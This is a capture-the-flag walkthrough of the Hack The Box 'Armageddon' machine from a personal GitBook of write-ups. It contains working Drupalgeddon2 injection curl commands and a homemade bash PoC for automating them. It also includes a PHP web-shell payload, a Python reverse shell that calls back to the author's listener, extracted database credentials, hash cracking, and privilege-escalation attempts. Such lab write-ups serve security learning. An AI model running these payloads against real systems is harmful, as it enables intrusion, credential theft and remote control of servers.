HTB Writeups
  • HTB Writeups
  • Boxes: Very Easy
    • Academy
    • Archetype
    • Arctic
    • Base
    • Bike
    • Blue
    • Explosion
    • Included
    • Markup
    • Oopsie
    • Redeemer
    • Responder
    • Shield
    • Unified
    • Vaccine
  • Boxes: Easy
    • Analytics
    • Armageddon
    • Bashed
    • Beep
    • Blocky
    • Bounty Hunter
    • Buff
    • Cap
    • CozyHosting
    • Devel
    • Explore
    • Forest
    • Grandpa
    • Granny
    • Horizontall
    • Jerry
    • Keeper
    • Knife
    • Lame
    • Late
    • Legacy
    • Mirai
    • Netmon
    • Nibbles
    • Optimum
    • Paper
    • Photobomb
    • Precious
    • RedPanda
    • Return
    • Sau
    • ScriptKiddie
    • Sense
    • Servmon
    • Shocker
    • Shoppy
    • Squashed
    • Trick
  • Boxes: Medium
    • Poison
  • Challenges
    • Behind the Scenes
    • Canvas
    • Debugging Interface
    • Digital Cube
    • Easy Phish
    • Find the Easy Pass
    • Forest
    • Infiltration
    • misDIRection
    • Pusheen Loves Graphs
    • Retro
    • Signals
    • The Secret of a Queen
    • Wrong Spooky Season
  • Fortresses
  • Cyber Apocalypse 2023: The Cursed Mission
    • The Cursed Mission
    • Alien Cradle
    • Critical Flight
    • Debug
    • Extraterrestrial Persistence
    • Getting Started
    • Needle in the Haystack
    • Orbital
    • Packet Cyclone
    • Passman
    • Perfect Sync
    • Persistence
    • Plaintext Tleasure
    • Questionnaire
    • Reconfiguration
    • Relic Maps
    • Roten
    • Secret Code
    • Shattered Tablet
    • Small StEps
  • Hack the Boo 2023
    • Hauntmart
    • Spellbrewery
    • Trick or Treat
    • Valhalloween
  • Cyber Apocalypse 2024: Hacker Royale
    • Hacker Royale
    • An Unusual Sighting
    • BoxCutter
    • BunnyPass
    • Character
    • Data Siege
    • Delulu
    • Dynastic
    • Fake Boost
    • Flag Command
    • Game Invitation
    • It has begun
    • KORP Terminal
    • Labyrinth Linguist
    • LockTalk
    • Lucky Faucet
    • Makeshift
    • Maze
    • Packed Away
    • Phreaky
    • Primary Knowledge
    • Pursue the Tracks
    • Rids
    • Russian Roulette
    • Stop Drop and Roll
    • Testimonial
    • TimeKORP
    • Unbreakable
    • Urgent
  • CYBER APOCALYPSE 2025: Tales from Eldoria
    • Tales from Eldoria
    • A New Hire
    • Cave Expedition
    • Echoes in Stone
    • Eldorion
    • Embassy
    • EncryptedScroll
    • HeliosDEX
    • Quack Quack
    • Silent Trap
    • Stealth Invasion
    • Tales for the Brave
    • The Ancient Citadel
    • The Hillside Haven
    • The Stone That Whispers
    • Thorins Amulet
    • ToolPie
    • Traces
    • Trial by Fire
    • Whispers of the Moonbeam
Powered by GitBook
On this page
  • Enumeration
  • Drupalgeddon
  • Shell Access
  • User Access
  • Internal Enumeration
  • Privilege Escalation
  1. Boxes: Easy

Armageddon

Personal Rating: Medium

PreviousAnalyticsNextBashed

Last updated 1 year ago

This box was rather basic, but the privilege escalation did not work the intended way and I am not sure if that was my fault. That is why I used a different way in the end. Either way, the main exploit was a lot of fun and I edited the commands for it to script a basic PoC myself.

Enumeration

sudo nmap -sV -sC <IP>

22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Welcome to  Armageddon |  Armageddon

I can already see that its a Drupal 7 page, so I ran droopescan: ./droopescan scan drupal -u

[+] Plugins found:                                                              
    profile http://10.10.10.233/modules/profile/
    php http://10.10.10.233/modules/php/
    image http://10.10.10.233/modules/image/

[+] Themes found:
    seven http://10.10.10.233/themes/seven/
    garland http://10.10.10.233/themes/garland/

[+] Possible version(s):
    7.56

[+] Possible interesting urls found:
    Default changelog file - http://10.10.10.233/CHANGELOG.txt

The version is striking here as this searchsploit query confirmed:

searchsploit drupal 7.5

Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC)  | php/webapps/44542.txt

Considering the name Armageddon and the Drupal version, it will be either Drupalgeddon2 or 3 for the RCE. There are metasploit modules for it, but I want to do it without for now.

Drupalgeddon

Here I read that the exploit for 7.x is different from the newer versions:

I slightly modified one of the curl commands to this:

curl -k -s 'http://10.10.10.233/index.php?q=user/password&name\[%23post_render\]\[\]=passthru&name\[%23type\]=markup&name\[%23markup\]=uname+-a' --data "form_id=user_pass&_triggering_element_name=name" | grep form_build_id

Output:

<input type="hidden" name="form_build_id" value="form-VgfQSQ-rWe3xZ9xkJ7VM_Ptrs2sO9-hOJJaAEA6-mvY" />

form_build_id=form-VgfQSQ-rWe3xZ9xkJ7VM_Ptrs2sO9-hOJJaAEA6-mvY

This command was the actual injection after obtaining the form id:

Output:

Linux armageddon.htb 3.10.0-1160.6.1.el7.x86_64 #1 SMP Tue Nov 17 13:59:11 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

Great, this worked perfectly. As you can see, this exploit has two stages. First you obtain the form-build-id via an authentication bypass, already giving the injected command, in this case uname -a. Then you obtain the output of the command, querying the page for the according form build id. Here you can see the full process as it worked out for me:

[user@thonkpad HTB-Armageddon]$ curl -k -s 'http://10.10.10.233/index.php?q=user/password&name\[%23post_render\]\[\]=passthru&name\[%23type\]=markup&name\[%23markup\]=uname+-a' --data "form_id=user_pass&_triggering_element_name=name" | grep form_build_id
<input type="hidden" name="form_build_id" value="form-VgfQSQ-rWe3xZ9xkJ7VM_Ptrs2sO9-hOJJaAEA6-mvY" />
[user@thonkpad HTB-Armageddon]$ form_build_id=form-VgfQSQ-rWe3xZ9xkJ7VM_Ptrs2sO9-hOJJaAEA6-mvY
[user@thonkpad HTB-Armageddon]$ curl -k -i "http://10.10.10.233/index.php?q=file/ajax/name/%23value/${form_build_id}" --data "form_build_id=${form_build_id}"
HTTP/1.1 200 OK
Date: Fri, 22 Dec 2023 14:39:47 GMT
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
X-Content-Type-Options: nosniff
X-Drupal-Ajax-Token: 1
Set-Cookie: SESSb9f89543ebf78544b758878e39b7a5b6=B0-U8cQFEsXnO0516vJ5n88VyespCRAvJoIgtpSjM3w; expires=Sun, 14-Jan-2024 18:13:07 GMT; path=/; HttpOnly
Content-Length: 502
Content-Type: application/json; charset=utf-8

Linux armageddon.htb 3.10.0-1160.6.1.el7.x86_64 #1 SMP Tue Nov 17 13:59:11 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
[{"command":"settings","settings":{"basePath":"\/","pathPrefix":"","ajaxPageState":{"theme":"bartik","theme_token":"YTv2DcxHTXCKSe20cIRwAaoW1FhM3axL56vKXK7nDak"}},"merge":true},{"command":"insert","method":"replaceWith","selector":null,"data":"","settings":{"basePath":"\/","pathPrefix":"","ajaxPageState":{"theme":"bartik","theme_token":"YTv2DcxHTXCKSe20cIRwAaoW1FhM3axL56vKXK7nDak"}}}]

As you can see, I already achieved RCE with this. Now I want more automation and a shell.

Shell Access

I assembled this command, which executes the uname -a command in one line of bash code:

form_build_id=$( curl -k -s 'http://10.10.10.233/index.php?q=user/password&name\[%23post_render\]\[\]=passthru&name\[%23type\]=markup&name\[%23markup\]=uname+-a' --data "form_id=user_pass&_triggering_element_name=name" | grep form_build_id | sed -E 's/.*name="form_build_id" value="(.*)".*/\1/' ); curl -k -i "http://10.10.10.233/index.php?q=file/ajax/name/%23value/${form_build_id}" --data "form_build_id=${form_build_id}"

From that I created a bash poc to simplify the execution:

#!/bin/bash

echo "Bash PoC for CVE-2018-7600 (Drupaldeggon2) for Drupal 7.5.x"
echo "By user"
echo
echo "Based on PoC #3 here: https://gist.github.com/g0tmi1k/7476eec3f32278adc07039c3e5473708"
echo

read -p "Enter the URL encoded bash command you want to execute via RCE: " cmd

form_build_id=$( curl -k -s "http://10.10.10.233/index.php?q=user/password&name\[%23post_render\]\[\]=passthru&name\[%23type\]=markup&name\[%23markup\]=$cmd" --data "form_id=user_pass&_triggering_element_name=name" | grep form_build_id | sed -E 's/.*name="form_build_id" value="(.*)".*/\1/' )

curl -k -s -i "http://10.10.10.233/index.php?q=file/ajax/name/%23value/${form_build_id}" --data "form_build_id=${form_build_id}" > .tempfile

echo
tail -n +13 .tempfile | head -n -1
rm -f .tempfile

Output:

Using my poc and the following payload, I could write a simple php shell that can hopefully enable me to get a proper shell:

echo '<?php system($_REQUEST["cmd"]); ?>' > soos.php
echo%20'%3C?php%20system($_REQUEST%5B%22cmd%22%5D);%20?%3E'%20%3E%20soos.php

Great! So far so good. Though, I did not manage to get a bash shell with this at first. I did some more enumeration:

ls%20-la%20./*
ls%20-la%20./sites/*

Output:

-rw-r--r--. 1 apache apache  904 Jun 21  2017 ./sites/README.txt
-rw-r--r--. 1 apache apache 2365 Jun 21  2017 ./sites/example.sites.php

./sites/all:
total 0
drwxr-xr-x. 5 apache apache 52 Jun 21  2017 .
drwxr-xr-x. 4 apache apache 75 Jun 21  2017 ..
drwxr-xr-x. 2 apache apache 24 Jun 21  2017 libraries
drwxr-xr-x. 2 apache apache 24 Jun 21  2017 modules
drwxr-xr-x. 2 apache apache 24 Jun 21  2017 themes

./sites/default:
total 56
dr-xr-xr-x. 3 apache apache    67 Dec  3  2020 .
drwxr-xr-x. 4 apache apache    75 Jun 21  2017 ..
-rw-r--r--. 1 apache apache 26250 Jun 21  2017 default.settings.php
drwxrwxr-x. 3 apache apache    37 Dec  3  2020 files
-r--r--r--. 1 apache apache 26565 Dec  3  2020 settings.php

'settings.php' looks interesting. I used cat and saved the output to search it for credentials. In such cases I like to run something along those lines: cat file | grep -i 'password'

This yielded me a database user with a password:

<SNIP>
      'database' => 'drupal',
      'username' => 'drupaluser',
      'password' => 'CQHEy@9M*m23gBVj',
      'host' => 'localhost',

$drupal_hash_salt = '4S4JNzmn8lq4rqErTvcFlV4irAJoNqUmYy_d24JEyns';
<SNIP>

Using cat to get /etc/passwd from the server I also found the user 'brucetherealadmin'.

The password does not work with the user, so I will try cracking the hash.

After these attempts did not work and I also failed to get a bash shell, I searched for other options, using my php shell. Python seems feasible and I don't know why I did not think about this so far.

This finally worked the get an actual shell on the host:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.6",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
[user@thonkpad chisel]$ nc -lnvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.10.233 56148
sh: no job control in this shell
sh-4.2$ pwd
pwd
/var/www/html

User Access

Since we still have the SQL credentials, we can try to dump the sql database for drupal again and search it. I am certain it did not work before because of some encoding issue. From the box it should work. And indeed:

mysqldump -u drupaluser -p --all-databases > dump.sql
cat dump.sql
    'localhost','root','*EA33994841F9FCF1F229CBA01A630D7650270021'

cat dump.sql | grep brucetherealadmin
    1,'brucetherealadmin','$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt','admin@armageddon.eu'

Using this page I identified the hash type to be Drupal7:

Shell access was very close now:

hashcat --help | grep -i drupal
→ mode 7900
hashcat -a 0 -m 7900 ‘<hash>’ rockyou.txt
    $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt:booboo

ssh brucetherealadmin@10.10.10.233

Internal Enumeration

Running some enumeration commands returned some possible privilege escalation vectors:

id
    uid=1000(brucetherealadmin) gid=1000(brucetherealadmin) groups=1000(brucetherealadmin) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

uname -a
    Linux armageddon.htb 3.10.0-1160.6.1.el7.x86_64 #1 SMP Tue Nov 17 13:59:11 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

sudo -l
    (root) NOPASSWD: /usr/bin/snap install *

There was an SUID binary and the kernel was very old too. Since these results were already pretty interesting I did not bother enumeration further for now.

Privilege Escalation

I searched for snap as a GTFOBin, but the two exploits I tried did not work. This is about creating a malicious snap package to then install it with elevated permissions.

It already took me a while to find a working snap package generation method. This one was it:

sudo snap install exploit.snap --dangerous --devmode

But whatever I tried, I always received the error 'snap is unusable due to bad permissions; contact developer'. Since the intended way seemed to be broken I resorted to a different way, this time using metasploit. Of course it could also be that I just found broken exploit generators. But I focused on the old kernel from there on. local_exploit_suggester returned some output to work through:

 1   exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec                 Yes                      The target is vulnerable.
 2   exploit/linux/local/network_manager_vpnc_username_priv_esc          Yes                      The service is running, but could not be validated.
 3   exploit/linux/local/pkexec                                          Yes                      The service is running, but could not be validated.
 4   exploit/linux/local/su_login                                        Yes                      The target appears to be vulnerable.
 5   exploit/linux/local/sudo_baron_samedit                              Yes                      The target appears to be vulnerable. sudo 1.8.23 is a vulnerable build.
 6   exploit/linux/local/sudoedit_bypass_priv_esc                        Yes                      The target appears to be vulnerable. Sudo 1.8.23 is vulnerable, but unable to determine editable file. OS can NOT be exploited by this module

Well, now it was easy. Though I would have preferred the snap way. I might look into that another time as this was obviously the intended way to get root.

I found this, but it turned out it only works for Drupal8.

curl -k -i "{form_build_id}" --data "form_build_id=${form_build_id}"

Well, it failed. Another idea came to mind, which actually failed as well: mysqldump -u drupaluser -p ‘CQHEy@9M*m23gBVj’ --databases drupal > dump.sql

1)

2)

http://10.10.10.233
https://github.com/ruthvikvegunta/Drupalgeddon2
https://gist.github.com/g0tmi1k/7476eec3f32278adc07039c3e5473708
http://10.10.10.233/index.php?q=file/ajax/name/%23value/$
https://dev.mysql.com/doc/refman/8.0/en/mysqldump-sql-format.html
https://github.com/0xAsh/Snap_Generator.git
https://github.com/j4k0m/dirty_snap/blob/master/dirty_snap.sh
Hash Type Identifier - Identify unknown hashes
Logo